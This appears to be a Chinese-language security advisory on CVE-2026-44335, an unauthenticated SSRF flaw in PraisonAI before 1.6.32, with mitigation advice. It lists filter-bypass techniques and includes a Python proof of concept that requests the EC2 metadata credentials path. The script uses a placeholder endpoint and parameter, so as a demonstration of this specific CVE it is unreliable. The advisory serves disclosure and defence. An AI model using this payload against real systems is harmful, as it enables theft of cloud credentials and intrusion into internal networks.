IPBUF安全漏洞报告
English
CVE-2026-44335 CVSS 9.8 严重

CVE-2026-44335 PraisonAI存在SSRF漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44335
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

SSRFPraisonAI逻辑漏洞高危漏洞CVE-2026-44335

漏洞概述

PraisonAI是一个多代理团队系统。在1.6.32版本之前,其URL检查逻辑存在缺陷。攻击者可利用该逻辑漏洞绕过安全检查,发起服务器端请求伪造(SSRF)攻击。由于无需用户交互和认证,远程攻击者可利用此漏洞访问受限的内部资源,造成敏感数据泄露、系统完整性破坏或服务中断。官方已在1.6.32版本中修复此问题,建议用户立即更新。

技术细节

该漏洞的根本原因在于PraisonAI组件中的URL验证逻辑存在设计缺陷,未能正确识别和拦截恶意构造的内网请求。攻击者可以通过各种绕过技术(如利用URL编码、特殊符号、IP地址进制转换或DNS重绑定)来欺骗服务端的过滤器。当应用程序处理包含恶意URL的请求时,它会误以为该URL是安全的,并代表攻击者向目标发起HTTP请求。由于CVSS向量显示无需认证(PR:N)且无用户交互(UI:N),远程未认证攻击者可轻易利用此漏洞探测内网拓扑、读取本地敏感文件(如利用file://协议)或访问云服务元数据(如AWS/GCP的169.254.169.254),从而对机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1
侦察与探测
攻击者识别出目标系统运行的是PraisonAI,且版本低于1.6.32。
STEP 2
构造绕过载荷
攻击者利用URL检查逻辑缺陷,构造能够绕过过滤器的内网地址URL(如利用IP格式转换)。
STEP 3
发送恶意请求
攻击者向PraisonAI的接口发送包含恶意URL的请求,无需认证即可触发。
STEP 4
执行SSRF攻击
服务器端解析并请求恶意URL,返回内网敏感信息或对内部服务发起攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL where the vulnerability exists # Replace 'TARGET_HOST' with the actual vulnerable instance target_url = "http://TARGET_HOST/api/v1/endpoint" # Malicious payload demonstrating SSRF # Attempting to access internal metadata service (common in cloud environments) # Attackers might also try 127.0.0.1, 0.0.0.0, or internal subnet IPs ssrf_payload = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" # Parameter name usually vulnerable in SSRF (e.g., url, target, feed) params = { "url": ssrf_payload } try: print(f"[*] Sending SSRF request to {target_url}...") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] SSRF Exploitation Successful!") print("[+] Response Content:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

PraisonAI < 1.6.32

防御指南

临时缓解措施
如果无法立即升级,建议在网络层配置防火墙或安全组,严格限制应用服务器对内网(如127.0.0.0/8, 169.254.169.254/32等)及非业务必要外网的出站连接。同时,可部署Web应用防火墙(WAF)拦截包含常见SSRF特征的恶意请求。

参考链接